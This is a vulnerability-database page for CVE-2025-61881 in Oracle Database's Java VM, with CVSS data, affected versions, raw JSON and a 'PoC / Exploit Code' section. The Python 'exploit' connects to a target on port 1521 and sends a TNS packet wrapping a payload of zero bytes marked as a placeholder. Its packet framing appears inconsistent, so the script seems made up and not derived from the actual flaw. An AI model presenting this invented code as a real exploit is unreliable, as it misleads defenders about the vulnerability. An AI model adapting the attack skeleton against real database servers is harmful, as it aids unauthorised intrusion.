Security Vulnerability Report
中文
CVE-2025-61881 CVSS 5.9 MEDIUM

CVE-2025-61881

Published: 2025-10-21 20:20:53
Last Modified: 2025-10-24 14:27:46

Description

Vulnerability in the Java VM component of Oracle Database Server. Supported versions that are affected are 19.3-19.28, 21.3-21.19 and 23.4-23.9. Difficult to exploit vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise Java VM. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Java VM accessible data. CVSS 3.1 Base Score 5.9 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N).

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:oracle:java_virtual_machine:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:java_virtual_machine:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:java_virtual_machine:*:*:*:*:*:*:*:* - VULNERABLE
Oracle Database Server 19.3-19.28
Oracle Database Server 21.3-21.19
Oracle Database Server 23.4-23.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61881 Oracle Database Java VM Exploit PoC (Conceptual) # WARNING: This is a conceptual proof-of-concept for educational purposes only. # Oracle Java VM component vulnerability allowing unauthorized data modification. import socket import struct # Oracle Net protocol constants ORACLE_NET_PORT = 1521 TNS_CONNECT = 1 TNS_DATA = 2 def build_tns_packet(data, packet_type=TNS_DATA): """Build a basic TNS (Transparent Network Substrate) packet""" # TNS packet header: length(2) + checksum(2) + type(1) + flags(1) + header_chksum(2) header = struct.pack('>HHBBh', len(data) + 10, # packet length 0, # checksum (0 = no checksum) packet_type, # packet type 0, # flags 0) # header checksum return header + data def exploit_java_vm(target_host, target_port=ORACLE_NET_PORT): """ Conceptual exploit for CVE-2025-61881. Targets the Java VM component via Oracle Net protocol. """ try: # Step 1: Establish Oracle Net connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) # Step 2: Send TNS connect packet connect_data = b'\x00\x00\x00\x01' # Connect version sock.send(build_tns_packet(connect_data, TNS_CONNECT)) # Step 3: Receive connect response response = sock.recv(4096) # Step 4: Craft malicious Java VM request # The exact payload depends on the specific vulnerable code path # in the Java VM component's request handler. # Attack complexity is HIGH (AC:H), meaning specific conditions # must be met for successful exploitation. malicious_payload = b'\x00' * 256 # Placeholder for crafted payload sock.send(build_tns_packet(malicious_payload, TNS_DATA)) # Step 5: Process response result = sock.recv(4096) print(f"[*] Response received: {len(result)} bytes") sock.close() return True except Exception as e: print(f"[-] Exploit failed: {e}") return False if __name__ == "__main__": target = "192.168.1.100" # Replace with target Oracle DB host print(f"[*] Targeting Oracle Database Java VM at {target}") print(f"[*] CVE-2025-61881 - Oracle Java VM Integrity Vulnerability") print(f"[*] CVSS 3.1: 5.9 (MEDIUM) - Integrity Impact: HIGH") exploit_java_vm(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61881", "sourceIdentifier": "[email protected]", "published": "2025-10-21T20:20:53.170", "lastModified": "2025-10-24T14:27:46.203", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Java VM component of Oracle Database Server. Supported versions that are affected are 19.3-19.28, 21.3-21.19 and 23.4-23.9. Difficult to exploit vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise Java VM. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Java VM accessible data. CVSS 3.1 Base Score 5.9 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:java_virtual_machine:*:*:*:*:*:*:*:*", "versionStartIncluding": "19.3", "versionEndIncluding": "19.28", "matchCriteriaId": "7FD00D24-3624-4833-AEE8-0588C5DC440D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:java_virtual_machine:*:*:*:*:*:*:*:*", "versionStartIncluding": "21.3", "versionEndIncluding": "21.19", "matchCriteriaId": "B6E61FD2-6488-41F9-A1EE-C11289F9AF46"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:java_virtual_machine:*:*:*:*:*:*:*:*", "versionStartIncluding": "23.4", "versionEndIncluding": "23.9", "matchCriteriaId": "E93E02AA-5EB5-4992-B55F-5A062CC16F46"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpuoct2025.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}